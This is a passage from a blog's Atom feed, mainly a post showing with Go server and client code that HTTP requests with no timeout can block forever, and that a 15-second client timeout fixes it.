<p>We continued our journey to 
<a href="/travel/carlsbad-cavern/">Carlsbad</a>.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/><category scheme="https://ashishb.net/tag/new-mexico" term="new-mexico" label="new-mexico"/><category scheme="https://ashishb.net/tag/texas" term="texas" label="texas"/></entry><entry><title type="html">Infinite network timeouts in Java and Go</title><link href="https://ashishb.net/programming/infinite-network-timeouts-in-java-and-go/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/python-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Python in production"/><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="How to setup Go packages under monorepo"/><link href="https://ashishb.net/programming/generics-in-go/?utm_source=atom_feed" rel="related" type="text/html" title="Generics in Go"/><id>https://ashishb.net/programming/infinite-network-timeouts-in-java-and-go/</id><author><name>Ashish Bhatia</name></author><published>2022-06-12T16:00:23+00:00</published><updated>2022-06-12T16:00:23+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how Java, Python, and Go made the same network timeout error, blocking threads indefinitely. Learn to add timeouts in Go for better performance.</blockquote><p>Java made a huge   
    
    
<a href="https://stackoverflow.com/a/45199703/434196?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mistake</a> of having no network timeouts. A network request can block a thread forever. Even Python did the   
    
    
<a href="https://stackoverflow.com/a/29649638/434196?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">same</a>. The language designers should have chosen some conservative appropriate numbers instead.</p>
<p>What&rsquo;s surprising is that the Go language repeated it!  Here&rsquo;s a simple demo</p>
<p>Let&rsquo;s first create a server that would block forever</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#586e75">// Usage: go run server.go</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;time&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">startWebServer</span>(<span style="color:#2aa198">8080</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">startWebServer</span>(port <span style="color:#dc322f">int</span>) {
</span></span><span style="display:flex;"><span>    http.<span style="color:#268bd2">HandleFunc</span>(<span style="color:#2aa198">&#34;/block-forever&#34;</span>, blockForeverHandler)
</span></span><span style="display:flex;"><span>    log.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Serving on port %d&#34;</span>, port)
</span></span><span style="display:flex;"><span>    log.<span style="color:#268bd2">Fatal</span>(<span style="color:#2aa198">&#34;%s&#34;</span>, http.<span style="color:#268bd2">ListenAndServe</span>(fmt.<span style="color:#268bd2">Sprintf</span>(<span style="color:#2aa198">&#34;:%d&#34;</span>, port), <span style="color:#cb4b16">nil</span>))
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">blockForeverHandler</span>(w http.ResponseWriter, req <span style="color:#719e07">*</span>http.Request) {
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Do nothing and block forever</span>
</span></span><span style="display:flex;"><span>    count <span style="color:#719e07">:=</span> <span style="color:#2aa198">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">for</span> <span style="color:#cb4b16">true</span> {
</span></span><span style="display:flex;"><span>        time.<span style="color:#268bd2">Sleep</span>(<span style="color:#2aa198">1</span> <span style="color:#719e07">*</span> time.Second)
</span></span><span style="display:flex;"><span>        count<span style="color:#719e07">++</span>
</span></span><span style="display:flex;"><span>        log.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Blocked since %d seconds ago...&#34;</span>, count)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Start the server in one shell with `go run server.go`, you can test it out by visiting   
    
    
<a href="http://localhost:8080/block-forever?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">http://localhost:8080/block-forever</a> or by doing `curl http://localhost:8080/block-forever` in the shell.</p>
<p>Now, connect to that server in another shell with the following code.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#586e75">// Usage: go run client.go</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">fetchData</span>(<span style="color:#2aa198">&#34;http://localhost:8080/block-forever&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">fetchData</span>(urlStr <span style="color:#dc322f">string</span>) {
</span></span><span style="display:flex;"><span>    log.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Fetching data from %s&#34;</span>, urlStr)
</span></span><span style="display:flex;"><span>    _, err <span style="color:#719e07">:=</span> http.<span style="color:#268bd2">Get</span>(urlStr)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        log.<span style="color:#268bd2">Fatalln</span>(err)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    log.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Received data from %s&#34;</span>, urlStr)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And wait for it complete, it   
    
    
<a href="https://blog.cloudflare.com/the-complete-guide-to-golang-net-http-timeouts/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">won&rsquo;t</a>.</p>
<p>So what&rsquo;s the fix? Add a timeout before making the request</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#586e75">// Usage: go run client.go</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#34;time&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">fetchDataWithTimeout</span>(<span style="color:#2aa198">&#34;http://localhost:8080/block-forever&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">fetchDataWithTimeout</span>(urlStr <span style="color:#dc322f">string</span>) {
</span></span><span style="display:flex;"><span>    log.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Fetching data from %s&#34;</span>, urlStr)
</span></span><span style="display:flex;"><span>    client <span style="color:#719e07">:=</span> <span style="color:#719e07">&amp;</span>http.Client{
</span></span><span style="display:flex;"><span>        Timeout: <span style="color:#2aa198">15</span> <span style="color:#719e07">*</span> time.Second,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    _, err <span style="color:#719e07">:=</span> client.<span style="color:#268bd2">Get</span>(urlStr)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        log.<span style="color:#268bd2">Fatalln</span>(err)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    log.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Received data from %s&#34;</span>, urlStr)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>This will demonstrate the correct behavior by failing with</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
